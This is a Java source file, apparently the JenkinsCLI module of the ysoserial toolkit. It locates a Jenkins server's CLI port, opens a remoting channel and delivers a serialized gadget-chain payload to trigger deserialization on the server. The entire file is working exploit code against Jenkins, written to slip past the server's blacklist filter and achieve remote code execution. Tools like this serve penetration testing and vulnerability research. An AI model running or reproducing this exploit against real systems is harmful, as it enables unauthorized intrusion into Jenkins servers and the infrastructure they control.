package ysoserial.exploit; import java.io.DataOutputStream; import java.io.IOException; import java.io.OutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.HttpURLConnection; import java.net.InetSocketAddress; import java.net.MalformedURLException; import java.net.Socket; import java.net.SocketException; import java.net.URL; import java.net.URLConnection; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.ThreadFactory; import javax.net.SocketFactory; import hudson.remoting.Callable; import hudson.remoting.Channel; import hudson.remoting.Channel.Mode; import hudson.remoting.ChannelBuilder; import ysoserial.payloads.ObjectPayload.Utils; /** * Jenkins CLI client * * Jenkins unfortunately is still using a custom serialization based * protocol for remote communications only protected by a blacklisting * application level filter. * * This is a generic client delivering a gadget chain payload via that protocol. * * @author mbechler * */ public class JenkinsCLI { public static final void main ( final String[] args ) { if ( args.length < 3 ) { System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <payload_type> <payload_arg>"); System.exit(-1); } final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); String jenkinsUrl = args[ 0 ]; Channel c = null; try { InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); c = JenkinsCLI.openChannel(isa); c.call(getPropertyCallable(payloadObject)); } catch ( Throwable e ) { e.printStackTrace(); } finally { if ( c != null ) { try { c.close(); } catch ( IOException e ) { e.printStackTrace(System.err); } } } Utils.releasePayload(args[1], payloadObject); } public static Callable<?, ?> getPropertyCallable ( final Object prop ) throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); reqCons.setAccessible(true); Object getJarLoader = reqCons .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] { prop }); return (Callable<?, ?>) getJarLoader; } public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException { URL u = new URL(jenkinsUrl); URLConnection conn = u.openConnection(); if ( ! ( conn instanceof HttpURLConnection ) ) { System.err.println("Not a HTTP URL"); throw new MalformedURLException(); } HttpURLConnection hc = (HttpURLConnection) conn; if ( hc.getResponseCode() >= 400 ) { System.err.println("* Error connection to jenkins HTTP " + u); } int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port")); return new InetSocketAddress(u.getHost(), clip); } public static Channel openChannel ( InetSocketAddress isa ) throws IOException, SocketException { System.err.println("* Opening socket " + isa); Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); s.setKeepAlive(true); s.setTcpNoDelay(true); System.err.println("* Opening channel"); OutputStream outputStream = s.getOutputStream(); DataOutputStream dos = new DataOutputStream(outputStream); dos.writeUTF("Protocol:CLI-connect"); ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() { public Thread newThread ( Runnable r ) { Thread t = new Thread(r, "Channel"); t.setDaemon(true); return t; } }); Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); System.err.println("* Channel open"); return c; } }